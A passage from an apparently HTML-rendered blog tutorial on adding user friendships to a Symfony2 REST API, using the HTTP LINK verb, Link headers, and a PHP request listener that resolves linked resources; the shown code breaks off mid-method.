&lt;p&gt;In a few lines of code, you have a fully working API that exposes &lt;strong&gt;CRUD&lt;/strong&gt;
operations in a safe way. But now, what about adding relationship between users,
like friendship?&lt;/p&gt;

&lt;p&gt;&lt;em&gt;How to retrieve the friends for a given user in REST?&lt;/em&gt; We just have to consider
friends as a collection of users owned by the user. Let’s implement that.&lt;/p&gt;

&lt;h3 id=&quot;the-friendship-algorithm&quot;&gt;The Friendship Algorithm&lt;/h3&gt;

&lt;p&gt;First, we have to create a new route. As we consider the friends as a collection
owned by a user, we will fetch this collection directly on a resource:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;acme_demo_user_get_friends&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;pattern&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;/users/{id}/friends&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;defaults&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_controller&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;AcmeDemoBundle&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;getFriends&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_format&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;~&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;requirements&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;_method&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;GET&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The action in the controller looks like:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getFriendsAction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;friends&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getFriends&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That’s it. Now, think about how to represent the process of becoming friend with
another user. &lt;em&gt;How would you manage that in a REST approach?&lt;/em&gt; You can’t use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt;
to the collection of friends as you won’t create anything Both users already
exist. You can’t use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PUT&lt;/code&gt; as you don’t really want to replace the whole
collection, and it seems a bit harsh.&lt;/p&gt;

&lt;p&gt;Well, the HTTP procotol describes a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LINK&lt;/code&gt; HTTP verb that solves this problem.
It says:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The LINK method establishes one or more Link relationships between
the existing resource identified by the Request-URI and other
existing resources.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That’s exactly what we need. We want to link two resources, we should never
forget resources while we build APIs. So, how to do that in Symfony2?&lt;/p&gt;

&lt;p&gt;My approach is to rely on a request listener here. The client will perform a
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LINK&lt;/code&gt; request on a resource, and will send at least one &lt;strong&gt;Link&lt;/strong&gt; header:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;LINK /users/1
Link: &amp;lt;http://example.com/users/2&amp;gt;; rel=&quot;friend&quot;
Link: &amp;lt;http://example.com/users/3&amp;gt;; rel=&quot;friend&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Using a request listener is a nice option because it allows you to have clean
inputs in your action. The aim of this action is to link objects after all, we
don’t want to play with URIs in the controller. The transformation has to be
done before.&lt;/p&gt;

&lt;p&gt;The request listener gets those &lt;strong&gt;Link&lt;/strong&gt; headers, and uses the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RouterMatcher&lt;/code&gt;
part of Symfony2 to retrieve the controller and the method names. It also
gets the parameters.&lt;/p&gt;

&lt;p&gt;In other words, it has all information to create a controller, and to call the
right method on it with the right parameters. In our example, for each &lt;strong&gt;Link&lt;/strong&gt;
header, it calls the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getUser()&lt;/code&gt; action on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UserController&lt;/code&gt; controller.
That’s why I didn’t use ParamConverters, it allows me to pass the &lt;em&gt;id&lt;/em&gt; value,
and to get my resource. I make two assumptions:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;if the user doesn’t exist, I will get an exception;&lt;/li&gt;
  &lt;li&gt;I will get an array as returned value because I use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;View&lt;/code&gt; annotation.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once I get my resource objects, I put them in the request’s attributes, and that’s
all for the listener. Here is the code:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Acme\DemoBundle\EventListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\HttpKernel\Event\GetResponseEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\HttpKernel\Controller\ControllerResolverInterface&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\Routing\Matcher\UrlMatcherInterface&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\HttpFoundation\Request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\HttpKernel\HttpKernelInterface&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\HttpKernel\KernelEvents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\HttpKernel\Event\FilterControllerEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;LinkRequestListener&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;cd&quot;&gt;/**
     * @var ControllerResolverInterface
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$resolver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$urlMatcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;cd&quot;&gt;/**
     * @param ControllerResolverInterface $controllerResolver The &apos;controller_resolver&apos; service
     * @param UrlMatcherInterface         $urlMatcher         The &apos;router&apos; service
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;ControllerResolverInterface&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$controllerResolver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;UrlMatcherInterface&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$urlMatcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;resolver&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$controllerResolver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;urlMatcher&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$urlMatcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;onKernelRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;GetResponseEvent&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$event&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;has&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;link&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$links&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$header&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$event&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;link&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

        &lt;span class=&quot;cm&quot;&gt;/*
         * Due to limitations, multiple same-name headers are sent as comma
         * separated values.
         *
         * This breaks those headers into Link headers following the format
         * http://tools.ietf.org/html/rfc2068#section-19.6.2.4
         */&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;preg_match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;/^((?:[^&quot;]|&quot;[^&quot;]*&quot;)*?),/&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$matches&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$header&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;substr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$matches&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])));&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$links&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$matches&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$links&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$requestMethod&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;urlMatcher&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getContext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getMethod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Force the GET method to avoid the use of the&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// previous method (LINK/UNLINK)&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;urlMatcher&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getContext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;setMethod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;GET&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// The controller resolver needs a request to resolve the controller.&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$stubRequest&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$links&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$idx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$link&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$linkParams&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;explode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$link&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$resource&lt;/span&gt;   &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;array_shift&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$linkParams&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$resource&lt;/span&gt;   &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;preg_replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;/&amp;lt;|&amp;gt;/&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$resource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nv&quot;&gt;$route&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;urlMatcher&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$resource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;// If we don&apos;t have a matching route we return&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;// the original Link header&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

            &lt;span class=&quot;nv&quot;&gt;$stubRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;attributes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$route&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$controller&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;resolver&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getController&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$stubRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

            &lt;span class=&quot;c1&quot;&gt;// Make sure @ParamConverter and friends are handled&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$subEvent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;FilterControllerEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$event&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getKernel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$controller&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$stubRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;HttpKernelInterface&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;MASTER_REQUEST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$event&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getDispatcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dispatch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;KernelEvents&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;CONTROLLER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$subEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$controller&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$subEvent&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getController&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

            &lt;span class=&quot;nv&quot;&gt;$arguments&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;resolver&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getArguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$stubRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$controller&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
